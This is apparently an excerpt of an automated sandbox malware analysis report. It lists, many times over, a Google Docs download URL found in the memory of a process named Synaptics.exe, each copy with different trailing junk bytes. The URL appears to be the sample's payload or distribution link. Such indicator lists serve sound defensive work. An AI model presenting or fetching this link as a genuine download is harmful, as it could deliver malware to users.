Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cn
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com)X
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com.
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.dou
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goo
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goog
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.m
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.moo
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.n7
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.nl
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.orig
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/_
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download013
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1W
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1Y
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1kO
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2)w
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2501
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download25018UH
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2h0
Source: Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3Wj
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3s.
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4-N
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4Uw
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4q
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3203295789.000000004ABFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5&J
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download57N
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5=
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5nJ
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6.s
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download641
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download685
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6=5
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6Vu
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download82J
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download86K
Source: Synaptics.exe, 00000003.00000002.3016126059.000000000095C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8:
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8iI
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3023403853.0000000007071000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9hG
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3039336573.000000000DC70000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:/
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:9)
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:_
Source: Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;Tr
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;eI
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=$B
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=4F
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download==p
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=Vx
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=r
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?1H
